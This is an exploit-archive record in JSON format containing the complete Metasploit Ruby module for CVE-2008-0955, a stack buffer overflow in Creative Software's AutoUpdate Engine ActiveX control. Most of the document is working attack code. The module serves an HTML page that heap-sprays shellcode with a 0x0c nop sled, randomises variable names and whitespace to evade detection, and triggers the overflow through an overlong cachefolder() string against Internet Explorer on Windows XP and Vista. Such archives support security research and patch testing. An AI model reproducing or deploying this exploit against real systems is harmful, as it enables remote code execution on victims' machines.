{"exploit":{"id":"MSF-windows--browser--creative_software_cachefolder","name":"Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow","description":"This module exploits a stack buffer overflow in Creative Software AutoUpdate Engine. When sending an overly long string to the cachefolder() property of CTSUEng.ocx an attacker may be able to execute arbitrary code.","cves":["CVE-2008-0955"],"author":"MC","published":"2008-05-28","platform":"Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/windows/browser/creative_software_cachefolder.rb","path":"modules/exploits/windows/browser/creative_software_cachefolder.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"creative_software_cachefolder.rb","vulnerabilities":[{"id":"CVE-2008-0955","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the Creative Software AutoUpdate Engine ActiveX control in CTSUEng.ocx allows remote attackers to execute arbitrary code via a long CacheFolder property value.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-0955","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-0955"},"updatedAt":"2024-08-07T08:01:40.205Z","retrievedAt":"2026-11-26T12:22:27.996Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-windows--browser--creative_software_cachefolder.png?v=2","url":"https://exploitbin.com/exploits/MSF-windows--browser--creative_software_cachefolder","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--browser--creative_software_cachefolder/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--browser--creative_software_cachefolder/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = NormalRanking\n\n  include Msf::Exploit::Remote::HttpServer::HTML\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in Creative Software AutoUpdate Engine. When\n          sending an overly long string to the cachefolder() property of CTSUEng.ocx\n          an attacker may be able to execute arbitrary code.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'MC', ],\n        'References' => [\n          [ 'CVE', '2008-0955' ],\n          [ 'OSVDB', '45655' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Payload' => {\n          'Space' => 1024,\n          'BadChars' => \"\\x00\",\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]\n        ],\n        'DisclosureDate' => '2008-05-28',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def autofilter\n    false\n  end\n\n  def check_dependencies\n    use_zlib\n  end\n\n  def on_request_uri(cli, request)\n    # Re-generate the payload\n    return if ((p = regenerate_payload(cli)) == nil)\n\n    # Encode the shellcode\n    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))\n\n    # Randomize the javascript variable names\n    vname = rand_text_alpha(rand(100) + 1)\n    var_i = rand_text_alpha(rand(30) + 2)\n    rand1 = rand_text_alpha(rand(100) + 1)\n    rand2 = rand_text_alpha(rand(100) + 1)\n    rand3 = rand_text_alpha(rand(100) + 1)\n    rand4 = rand_text_alpha(rand(100) + 1)\n    rand5 = rand_text_alpha(rand(100) + 1)\n    rand6 = rand_text_alpha(rand(100) + 1)\n    rand7 = rand_text_alpha(rand(100) + 1)\n    rand8 = rand_text_alpha(rand(100) + 1)\n\n    randnop = rand_text_alpha(rand(100) + 1)\n    js_nops = Rex::Text.to_unescape(\"\\x0c\" * 4)\n\n    content = %Q|\n      <html>\n        <object id='#{vname}' classid='clsid:0A5FD7C5-A45C-49FC-ADB5-9952547D5715'></object>\n        <script language=\"JavaScript\">\n        var #{rand1} = unescape('#{shellcode}');\n        var #{randnop} = \"#{js_nops}\";\n        var #{rand2} = unescape(#{randnop});\n        var #{rand3} = 20;\n        var #{rand4} = #{rand3} + #{rand1}.length;\n        while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};\n        var #{rand5} = #{rand2}.substring(0,#{rand4});\n        var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});\n        while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};\n        var #{rand7} = new Array();\n        for (#{var_i} = 0; #{var_i} < 500; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }\n        var #{rand8} = \"\"\n        for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape(\"%0c%0c\") }\n        #{vname}.cachefolder(#{rand8});\n        </script>\n      </html>\n      |\n\n    # Randomize the whitespace in the document\n    content = Rex::Text.randomize_space(content)\n\n    print_status(\"Sending #{self.name}\")\n\n    # Transmit the response to the client\n    send_response_html(cli, content)\n\n    # Handle the payload\n    handler(cli)\n  end\nend\n","sha256":"f6bf0b9a46dd2235a040b4434270986d06aec1133f65637bbccab51e67843d79","bytes":3621,"fetchedAt":"2026-11-26T12:22:27.202Z","encoding":"utf-8 (display only; download retains original bytes)"}